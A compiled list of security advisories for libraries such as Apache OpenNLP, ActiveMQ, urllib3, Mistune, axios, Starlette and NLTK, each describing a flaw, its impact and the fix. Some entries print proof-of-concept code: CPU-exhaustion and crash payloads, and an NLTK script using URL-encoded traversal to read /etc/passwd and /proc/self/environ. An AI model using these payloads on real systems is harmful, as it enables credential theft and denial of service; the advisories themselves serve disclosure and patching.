IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.2 IBM WebSphere Application Server Liberty could provide weaker than expected security when using the Security Utility when administering security settings.
Arbitrary Class Instantiation via Model Manifest in Apache OpenNLP ExtensionLoader
Versions Affected: before 1.9.5, before 2.5.9, before 3.0.0-M3
Description:
The ExtensionLoader.instantiateExtension(Class, String) method loads a class by its fully-qualified name via Class.forName() and invokes its no-arg constructor, with the class name sourced from the manifest.properties entry of a model archive. The existing isAssignableFrom check correctly rejects classes that are not subtypes of the expected extension interface (BaseToolFactory for factory=, ArtifactSerializer for serializer-class-), but the check runs after Class.forName() has already loaded and initialized the named class.
Class.forName() with default initialization semantics executes the target class's static initializer before returning, so an attacker who can supply a crafted model archive can cause the static initializer of any class on the classpath to run during model loading, regardless of whether that class passes the subsequent type check.
Exploitation requires a class with attacker-useful side effects in its static initializer (for example, JNDI lookup, outbound network I/O, or filesystem access) to be present on the classpath, so this is not a drop-in remote code execution; however, the attack surface grows as third-party model distribution becomes more common (community model repositories, Hugging Face-style sharing), where users routinely load model files from origins they do not control. A secondary, narrower vector affects deployments that ship legitimate BaseToolFactory or ArtifactSerializer subclasses with side-effecting no-arg constructors: a malicious manifest can name such a class and force its constructor to run during model load.
Mitigation:
2.x users should upgrade to 2.5.9. 3.x users should upgrade to 3.0.0-M3.
Note: The fix introduces a package-prefix allowlist that is consulted before Class.forName() is invoked, so the static initializer of a disallowed class is never executed. Classes under the opennlp. prefix remain permitted by default. Deployments that load models referencing factories or serializers outside opennlp. must opt those packages in, either programmatically via ExtensionLoader.registerAllowedPackage(String) before the first model load, or by setting the OPENNLPEXTALLOWEDPACKAGES system property to a comma-separated list of allowed package prefixes.
Users who cannot upgrade immediately should ensure that all model files are sourced from trusted origins and should audit their classpath for classes with side-effecting static initializers or constructors, particularly any that perform JNDI lookups, network requests, or filesystem operations during class initialization.
Allows arbitrary filesystem writes outside the extraction directory during extraction with filter="data".
You are affected by this vulnerability if using the tarfile module to extract untrusted tar archives using TarFile.extractall() or TarFile.extract() using the filter= parameter with a value of "data" or "tar". See the tarfile extraction filters documentation
XML External Entity (XXE) via Unsanitized Dictionary Parsing in Apache OpenNLP DictionaryEntryPersistor
Versions Affected: before 2.5.9, before 3.0.0-M3
Description: The DictionaryEntryPersistor class initializes a static SAXParserFactory at class-load time without enabling FEATURESECUREPROCESSING or disabling DTD processing. When create(InputStream, EntryInserter) is invoked, the only feature set on the XMLReader is namespace support — external entity resolution and DOCTYPE declarations remain fully enabled. An attacker who can supply a crafted dictionary file (e.g., a stop-word list or domain dictionary) containing a malicious DOCTYPE declaration can trigger local file disclosure via file:// entity references or server-side request forgery via http:// entity references during SAX parsing, before the application processes a single dictionary entry. This is inconsistent with the project's own XmlUtil.createSaxParser() helper, which correctly sets FEATURESECUREPROCESSING and disallow-doctype-decl and is used by all other XML parsing paths in the codebase. The public Dictionary(InputStream) constructor delegates directly to this method and is the documented API for loading user-supplied dictionaries, making untrusted input a realistic scenario.
Mitigation: 2.x users should upgrade to 2.5.9. 3.x users should upgrade to 3.0.0-M3. Users who cannot upgrade immediately should ensure that all dictionary files are sourced from trusted origins and should consider wrapping the Dictionary(InputStream) constructor with input validation that rejects any XML containing a DOCTYPE declaration before it reaches the parser.
Impact
urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.
urllib3 can perform decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.
However, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases: 1. During the second HTTPResponse.read(amt=N) call when the response was decompressed using the official Brotli library. 2. When HTTPResponse.drainconn() was called after the response had been read and decompressed partially (compression algorithm did not matter here).
These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.
Affected usages
Applications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:
1. A response encoded with br is read incrementally with at least two HTTPResponse.read(amt=N) or HTTPResponse.stream(amt=N) calls while using the official Brotli library. 2. HTTPResponse.drainconn() is called after response decompression has already started.
Remediation
Upgrade to at least urllib3 version 2.7.0 in which the library: 1. Is more efficient for reads with Brotli. 2. Always skips decompression for HTTPResponse.drainconn().
If upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases: 1. For the Brotli-specific issue only, switch from brotli to brotlicffi until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396. 2. If your code explicitly calls HTTPResponse.drainconn(), call HTTPResponse.close() instead when connection reuse is not important.
Credits
The Brotli-specific issue was reported by @kimkou2024. HTTPResponse.drainconn() inefficiency was reported by @Cycloctane.
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ, Apache ActiveMQ Broker, Apache ActiveMQ All.
An authenticated attacker can use the admin web console page to construct a malicious broker name that bypasses name validation to include an xbean binding that can be later used by a VM transport to load a remote Spring XML application. The attacker can then use the DestinationView mbean to send a message to trigger a VM transport creation that will reference this malicious broker name which can lead to loading the malicious Spring XML context file.
Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec().
This issue affects Apache ActiveMQ: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ Broker: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ All: before 5.19.6, from 6.0.0 before 6.2.5.
Users are recommended to upgrade to version 6.2.5 or 5.19.6, which fixes the issue.
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ.
An authenticated attacker may bypass the fix in CVE-2026-34197 by adding a connector using an HTTP Discovery transport via BrokerView.addNetworkConnector or BrokerView.addConnector through Jolokia if the activemq-http module is on the classpath. A malicious HTTP endpoint can return a VM transport through the HTTP URI which will bypass the validation added in CVE-2026-34197. The attacker can then use the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec().
This issue affects Apache ActiveMQ Broker: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ All: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ: before 5.19.6, from 6.0.0 before 6.2.5.
Users are recommended to upgrade to version 5.19.6 or 6.2.5, which fixes the issue.
In versions of Tornado prior to 6.5.5, the only limit on the number of parts in multipart/form-data is the maxbodysize setting (default 100MB). Since parsing occurs synchronously on the main thread, this creates the possibility of denial-of-service due to the cost of parsing very large multipart bodies with many parts.
Tornado 6.5.5 introduces new limits on the size and complexity of multipart bodies, including a default limit of 100 parts per request. These limits are configurable if needed; see tornado.httputil.ParseMultipartConfig. It is also now possible to disable multipart/form-data parsing entirely if it is not required for the application.
Impact Pillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).
Patches The amount of data read is now limited to the necessary amount. Fixed in Pillow 12.2.0 (PR #9521).
Workarounds Avoid Pillow >= 10.3.0, < 12.2.0 Only open specific image formats, excluding FITS.
In Eclipse Open9J versions 0.21 to 0.58, a pre-authentication remote attacker can crash JITServer by sending a 32-byte crafted TCP message.
Summary Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parselinktext. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.
Affected component mistune/inlineparser.py → parselinktext
Description When parsing Markdown containing many consecutive [ characters, parselinktext repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.
Root cause The vulnerability stems from a two-loop interaction: - The outer loop in InlineParser.parse() (inlineparser.py) advances only 1 character at a time when parselink() returns None - Each failed attempt calls parselinktext() which performs an O(n) scan to the end of the string looking for a closing ] - With n consecutive [ characters, this results in O(n) × O(n) = O(n²) total work
PoC Run below python script import mistune import time
md = mistune.createmarkdown()
s = "[" 6400
t = time.perfcounter() md(s) print(time.perfcounter() - t) <img width="2028" height="1277" alt="image" src="https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06" />
Benmark poc Run below code for benchmark import mistune import time
md = mistune.createmarkdown()
sizes = [100,200,400,800,1600,3200,6400]
for n in sizes: s = "[" n
t0 = time.perfcounter() md(s) dt = time.perfcounter() - t0
print(f"{n:6d} {dt:.6f}") <img width="2503" height="1341" alt="image" src="https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e" />
Observed behaviour python3 benchmark.py 100 0.001609 200 0.003207 400 0.012906 800 0.050220 1600 0.197307 3200 0.801172 6400 3.190393 Execution time grows superlinearly, consistent with O(n²) complex
Impact This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:
- Web applications (comments, posts, content rendering) - API services processing Markdown - Documentation rendering systems - A small (~6 KB) payload can block CPU for multiple seconds.
Suggested fix Return the furthest scanned position from parselinktext even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time
Security Classification CWE-400: Uncontrolled Resource Consumption Denial of Service (CPU exhaustion)
Impact
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires parsing the content stream of a page with a not terminated inline image, as done when extracting the page text for example.
Patches
This has been fixed in pypdf==6.14.1.
Workarounds
If you cannot upgrade yet, consider applying the changes from PR #3891.
Impact
An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires parsing the content stream of a page with a not terminated inline image, as done when extracting the page text for example. It only affects the ASCII85 and ASCIIHex filters.
Patches
This has been fixed in pypdf==6.14.2.
Workarounds
If you cannot upgrade yet, consider applying the changes from PR #3892.
LIBPNG is a reference library for use in applications that read, create, and manipulate PNG (Portable Network Graphics) raster image files. Prior to 1.6.55, an out-of-bounds read vulnerability exists in the pngsetquantize() API function. When the function is called with no histogram and the number of colors in the palette is more than twice the maximum supported by the user's display, certain palettes will cause the function to enter into an infinite loop that reads past the end of an internal heap-allocated buffer. The images that trigger this vulnerability are valid per the PNG specification. This vulnerability is fixed in 1.6.55.
Python-Markdown version 3.8 contain a vulnerability where malformed HTML-like sequences can cause html.parser.HTMLParser to raise an unhandled AssertionError during Markdown parsing. Because Python-Markdown does not catch this exception, any application that processes attacker-controlled Markdown may crash. This enables remote, unauthenticated Denial of Service in web applications, documentation systems, CI/CD pipelines, and any service that renders untrusted Markdown. The issue was acknowledged by the vendor and fixed in version 3.8.1. This issue causes a remote Denial of Service in any application parsing untrusted Markdown, and can lead to Information Disclosure through uncaught exceptions.
Impact
When following cross-origin redirects for requests made using urllib3’s high-level APIs, such as urllib3.request(), PoolManager.request(), and ProxyManager.request(), sensitive headers — Authorization, Cookie, and Proxy-Authorization (defined in Retry.DEFAULTREMOVEHEADERSONREDIRECT) — are stripped by default, as expected.
However, cross-origin redirects followed from the low-level API via ProxyManager.connectionfromurl().urlopen(..., assertsamehost=False) still forward these sensitive headers.
Affected usage
Applications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through HTTPConnection.urlopen() instances created via ProxyManager.connectionfromurl().
Remediation
Upgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by HTTPConnection.
If upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to ProxyManager.request().
Accessibility. A privacy issue was addressed by removing sensitive data.
Denial of Service via proto Key in mergeConfig
Summary
The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing proto as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.
Details
The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
javascript utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); });
When prop is 'proto':
1. JSON.parse('{"proto": {...}}') creates an object with proto as an own enumerable property 2. Object.keys() includes 'proto' in the iteration 3. mergeMap['proto'] performs prototype chain lookup, returning Object.prototype (truthy object) 4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype 5. Object.prototype(...) throws TypeError: merge is not a function
The mergeConfig function is called by:
- Axios.request() at lib/core/Axios.js:75 - Axios.getUri() at lib/core/Axios.js:201 - All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
javascript import axios from "axios";
const maliciousConfig = JSON.parse('{"proto": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig);
Reproduction steps:
1. Clone axios repository or npm install axios 2. Create file poc.mjs with the code above 3. Run: node poc.mjs 4. Observe the TypeError crash
Verified output (axios 1.13.4):
TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9)
Control tests performed: | Test | Config | Result | |------|--------|--------| | Normal config | {"timeout": 5000} | SUCCESS | | Malicious config | JSON.parse('{"proto": {"x": 1}}') | CRASH | | Nested object | {"headers": {"X-Test": "value"}} | SUCCESS |
Attack scenario: An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"proto": {"x": 1}}.
Impact
Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.
Affected environments:
- Node.js servers using axios for HTTP requests - Any backend that passes parsed JSON to axios configuration
This is NOT prototype pollution - the application crashes before any assignment occurs.
Last updated 18 August 2026
Impact
A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in path-to-regexp@0.1.12 only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking.
Patches
Upgrade to path-to-regexp@0.1.13
Custom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group.
Workarounds
All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+).
If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length.
References
- GHSA-9wv6-86v2-598j - Detailed blog post: ReDoS the web
Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Java SE.
Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Java SE accessible data.
Summary pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.
Impact A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.
In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.
This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.
A user is vulnerable when all of the following are true:
1. The connection uses SCRAM-SHA-256 authentication. 2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint. 3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.
In practice, that can happen in these situations:
- the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control - the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources - the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised - the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server - an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection - an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)
The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.
Patches The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.
Workarounds
Until a patched version of pgjdbc is deployed, the following measures reduce exposure:
1. Only connect to trusted PostgreSQL servers whose identity is verified. Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.
2. Do not rely on loginTimeout as a complete mitigation on unpatched versions. On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.
3. Avoid SCRAM on untrusted or interceptable connection paths. For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.
4. Reduce blast radius operationally. Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.
5. On trusted servers you control, keep SCRAM iteration counts at ordinary values. This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.
Apache Neethi does not properly detect circular references in policy definitions. When a WS-Policy document contains circular policy references (where Policy A references Policy B which references Policy A), the policy normalization process can enter an infinite loop or cause excessive recursion, leading to a stack overflow or application hang. An attacker can craft malicious policy documents with circular references to cause a Denial of Service condition
Users are recommended to upgrade to version 3.2.2, which fixes this issue.
Apache Neethi is vulnerable to a Denial of Service attack through algorithmic complexity in policy normalization. Specially crafted WS-Policy documents can trigger an exponential Cartesian cross-product expansion during the normalization process, causing unbounded memory allocation that exhausts the JVM heap. This occurs when the normalization process generates an excessive number of policy alternatives without bounds, leading to runtime memory exhaustion.
Users should upgrade to 3.2.2 which limits the maximum number of normalized policy alternatives.
OOM Denial of Service via Unbounded Array Allocation in Apache OpenNLP AbstractModelReader
Versions Affected:
before 1.9.5 before 2.5.9
before 3.0.0-M3
Description:
The AbstractModelReader methods getOutcomes(), getOutcomePatterns(), and getPredicates() each read a 32-bit signed integer count field from a binary model stream and pass that value directly to an array allocation (new String[numOutcomes], new int[numOCTypes][], new String[NUMPREDS]) without validating that the value is non-negative or within a reasonable bound. The count is therefore fully attacker-controlled when the model file originates from an untrusted source.
A crafted .bin model file in which any of these count fields is set to Integer.MAXVALUE (or any value large enough to exhaust the available heap) triggers an OutOfMemoryError at the array allocation itself, before the corresponding label or pattern data is consumed from the stream. The error occurs very early in deserialization: for a GIS model, getOutcomes() is reached after only the model-type string, the correction constant, and the correction parameter have been read; so the attacker pays no meaningful size cost to weaponize a payload, and a single small file can crash a JVM that loads it. Any code path that deserializes a .bin model is affected, including direct use of GenericModelReader and any higher-level component that delegates to it during model load.
The practical impact is denial of service against processes that load model files from untrusted or semi-trusted origins.
Mitigation:
2.x users should upgrade to 2.5.9.
3.x users should upgrade to 3.0.0-M3.
Note: The fix introduces an upper bound on each of the three count fields, checked before array allocation; counts that are negative or exceed the bound cause an IllegalArgumentException to be thrown and the read to fail fast with no large allocation. The default bound is 10,000,000, which is well above the entry counts of legitimate OpenNLP models but far below any value that would threaten heap exhaustion. Deployments that legitimately need to load models with more entries than the default can raise the limit at JVM startup by setting the OPENNLPMAXENTRIES system property to the desired positive integer (e.g. -DOPENNLPMAXENTRIES=50000000); invalid or non-positive values fall back to the default.
Users who cannot upgrade immediately should treat all .bin model files as untrusted input unless their provenance is verified, and should avoid loading models supplied by end users or fetched from third-party repositories without integrity checks.
Impact
The DelegatingDecompressorFrameListener class orchestrates HTTP/2 decompression by embedding a per-stream EmbeddedChannel that runs the appropriate decompression codec (gzip, deflate, zstd) and forwards decompressed chunks to a wrapped listener. Each decompressed chunk is a pooled ByteBuf handed to an anonymous ChannelInboundHandlerAdapter tail handler, which becomes the sole owner responsible for releasing it.
A remote peer could send frames that would result in the flow-controller throwing and so trigger a resource leak which at the end might take down the whole JVM due OOME.
Summary
When parsing application/x-www-form-urlencoded bodies, QuerystringParser located the field separator with a two step lookup: it first scanned the entire remaining buffer for &, and only when no & existed anywhere ahead did it fall back to scanning for ;. For a body that uses ; as the separator and contains no &, every field iteration performed a full failed & scan over the entire remaining buffer before locating the nearby ;. With N semicolon separated fields in a chunk of size B, this yields O(B^2) byte comparisons per chunk.
An attacker can submit a small crafted body of the form a;a;a;... and cause the parser to spend seconds of CPU per request. A handful of concurrent requests can exhaust worker processes.
Details
In pythonmultipart/multipart.py, both the FIELDNAME and FIELDDATA states located the next separator like this:
python seppos = data.find(b"&", i) if seppos == -1: seppos = data.find(b";", i)
data.find(b"&", i) scans from i to the end of the buffer and returns -1 only when there is no & anywhere in the remainder. For a ; separated body with no &, this failed full buffer scan repeats once per field, making parsing quadratic in the body length.
For example, a 1 MiB url encoded body consisting of a; repeated ~500,000 times, submitted with Content-Type: application/x-www-form-urlencoded, causes the parser to perform on the order of 10^11 byte comparisons, consuming several seconds of CPU for a single request. Cost scales quadratically with chunk size.
The parser is reachable through the public QuerystringParser class and through the high level FormParser, createformparser, and parseform APIs for url encoded bodies. It is also the parser Starlette and FastAPI use for application/x-www-form-urlencoded request bodies via request.form().
Impact
Uncontrolled CPU consumption (denial of service). Parsing is synchronous, so a single small crafted form body occupies the handling worker for seconds, blocking any other work on that worker until parsing finishes. Sustained concurrent requests keep workers continuously busy, degrading or denying service.
Mitigation
Upgrade to python-multipart 0.0.30 or later, which treats only & as a field separator (per the WHATWG URL standard) using a single bounded scan, making parsing linear in the body length.
Summary request.form() accepts maxfields and maxpartsize to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply.
Details request.form() dispatches to a different parser depending on the Content-Type. For multipart/form-data the maxfiles, maxfields, and maxpartsize limits are forwarded to the parser, but for application/x-www-form-urlencoded the parser is constructed without them. It has no maxfields or maxpartsize parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies.
Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects:
- Field count drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as f0=v&f1=v&...) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request. - Field size drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the FormData, forcing memory allocation proportional to the request body.
The equivalent multipart/form-data request is correctly rejected with 400 Too many fields / 400 Field exceeded maximum size.
Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call request.form() on application/x-www-form-urlencoded requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop.
Mitigation Upgrade to a patched version, which forwards maxfields and maxpartsize to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match multipart/form-data (maxfields=1000, maxpartsize=1MB) and can be customized via request.form(maxfields=..., maxpartsize=...).
Summary nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. Affected Component nltk/data.py — find(), normalizeresourceurl(), and the UNSAFENOPROTOCOLRE regex check. Relevant occurrences:
data.py L650–L653 — final path constructed from url2pathname(resourcename) after checks data.py L54–L69 — UNSAFENOPROTOCOLRE operates only on the undecoded string data.py L219–L245 — normalizeresourceurl() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input
Root Cause The regex UNSAFENOPROTOCOLRE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path. Proof of Concept """ NLTK Arbitrary File Read via URL-Encoded Path Traversal ======================================================= Bypasses UNSAFENOPROTOCOLRE security regex in nltk/data.py by URL-encoding path separators and traversal components.
Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration) CWE: CWE-22 (Path Traversal)
Root Cause: nltk/data.py:find() checks resource names against a regex for traversal patterns (../, leading /, etc.) BEFORE calling url2pathname() which decodes %xx sequences. This is a classic "decode-after-check" vulnerability. """
import sys import os import warnings
Suppress NLTK security warnings for clean PoC output warnings.filterwarnings("ignore", category=RuntimeWarning)
Setup sys.path.insert(0, os.path.join(os.path.dirname(file), "nltk")) os.makedirs(os.path.expanduser("~/nltkdata/corpora"), existok=True)
import nltk from nltk.pathsec import ENFORCE
BANNER = """ =================================================== NLTK URL-Encoded Path Traversal PoC Affected: nltk <= 3.9.4 Default ENFORCE={enforce} =================================================== """.format(enforce=ENFORCE)
def testvariant(name, payload, fmt="raw"): """Test a single traversal variant.""" try: content = nltk.data.load(payload, format=fmt) if isinstance(content, bytes): preview = content[:200].decode("utf-8", errors="replace") else: preview = content[:200] firstline = preview.split("\n")[0] print(f" [VULN] {name}") print(f" Payload: {payload}") print(f" Read OK: {firstline}") return True except Exception as e: print(f" [SAFE] {name}") print(f" Payload: {payload}") print(f" Blocked: {type(e).name}: {e}") return False
def main(): print(BANNER) vulns = 0
# --- Variant 1: URL-encoded absolute path --- print("[1] URL-encoded absolute path (%2f = /)") if testvariant( "Encoded leading slash bypasses ^/ regex check", "nltk:%2fetc%2fpasswd", ): vulns += 1
print()
# --- Variant 2: Encoded dot-dot traversal --- print("[2] URL-encoded dot-dot traversal (%2e = .)") if testvariant( "Encoded dots bypass \\.\\./ regex check", "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", ): vulns += 1
print()
# --- Variant 3: Literal dots with encoded slash --- print("[3] Literal dots with encoded slash (..%2f)") if testvariant( "Encoded slash after literal .. bypasses \\.\\./ regex", "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", ): vulns += 1
print()
# --- Variant 4: Read process environment (credential leak) --- print("[4] Read /proc/self/environ (credential leakage)") try: content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw") envvars = content.decode("utf-8", errors="replace").split("\x00") print(f" [VULN] Leaked {len(envvars)} environment variables") for var in envvars[:3]: if var: key = var.split("=")[0] if "=" in var else var print(f" {key}=...") vulns += 1 except Exception as e: print(f" [SAFE] Blocked: {e}")
print()
# --- Control: verify normal traversal IS blocked --- print("[CONTROL] Verify literal ../ is blocked by regex") testvariant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")
print() print("=" 51) print(f" Result: {vulns} bypass variant(s) succeeded") if vulns > 0: print(" Status: VULNERABLE (url2pathname decodes after regex check)") else: print(" Status: Not vulnerable") print("=" 51)
if name == "main": main() Impact Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:
/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys
This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.